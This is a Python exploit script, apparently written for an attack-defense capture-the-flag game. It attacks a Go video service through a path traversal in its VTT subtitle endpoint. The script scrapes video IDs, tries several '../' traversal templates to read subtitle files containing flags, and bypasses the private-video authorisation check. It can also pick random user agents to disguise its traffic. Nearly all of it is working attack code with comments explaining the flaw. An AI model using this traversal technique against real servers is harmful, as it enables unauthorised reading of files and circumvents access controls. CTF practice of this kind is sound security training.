#!/usr/bin/env python3 import sys import re import random import requests USE_CUSTOM_USER_AGENT = False FLAG_RX = re.compile(r"[A-Z0-9]{31}=") USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" ] PORT = 5000 WATCH_RX = re.compile(r"/watch/(\d+)") # path.Join("public/vtt", +".vtt") -- the payload escapes VttFolder and # is re-anchored at the container WORKDIR (/app) or at "/". TRAVERSALS = [ "../vtt/{id}", "../../public/vtt/{id}", "../../../app/public/vtt/{id}", "../../../../app/public/vtt/{id}", ] def exploit(target_ip): flags = set() headers = {} if USE_CUSTOM_USER_AGENT: headers["User-Agent"] = random.choice(USER_AGENTS) # ------------------------------------------------------------------------- # VULN: server/server.go:190 handleVtt() # vttPath := path.Join(s.c.VttFolder, vid+".vtt") # return c.File(vttPath) # # `vid` comes straight from ?id= and is NEVER sanitised (no path.Clean("/"+p) # guard like echo's Static handler does). Any "../" sequence walks out of # public/vtt and c.File() happily serves the result -- i.e. arbitrary read of # any *.vtt file on the container filesystem. # # Bonus: the very same value is fed to GetVideo() whose error is ignored, so # a traversing id also never matches a DB row -> the private-video ACL check # in haveAccess() is skipped as well (zero Video => Private=false). # # Here we abuse it to pull the subtitle track (= the flag) of every video # while never touching the authorisation path at all. # ------------------------------------------------------------------------- try: s = requests.Session() s.headers.update(headers) base = f"http://{target_ip}:{PORT}" ids = [] try: r = s.get(f"{base}/feed", timeout=5) ids = sorted({int(x) for x in WATCH_RX.findall(r.text)}, reverse=True) except requests.RequestException as e: print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) if not ids: ids = list(range(200, 0, -1)) good_tpl = None for vid in ids: templates = [good_tpl] if good_tpl else TRAVERSALS for tpl in templates: try: r = s.get(f"{base}/vtt/", params={"id": tpl.format(id=vid)}, timeout=5) except requests.RequestException as e: print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True) break if r.status_code != 200 or "WEBVTT" not in r.text: continue good_tpl = tpl flags.update(FLAG_RX.findall(r.text)) break except requests.RequestException as e: print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) # ------------------------------------------------------------------------- return flags def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) sys.exit(1) target_ip = sys.argv[1] try: found_flags = exploit(target_ip) if found_flags is None: found_flags = [] elif isinstance(found_flags, str): found_flags = [found_flags] for flag in found_flags: clean_flag = str(flag).strip() if FLAG_RX.fullmatch(clean_flag): print(clean_flag, flush=True) except Exception as e: print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) if __name__ == "__main__": main()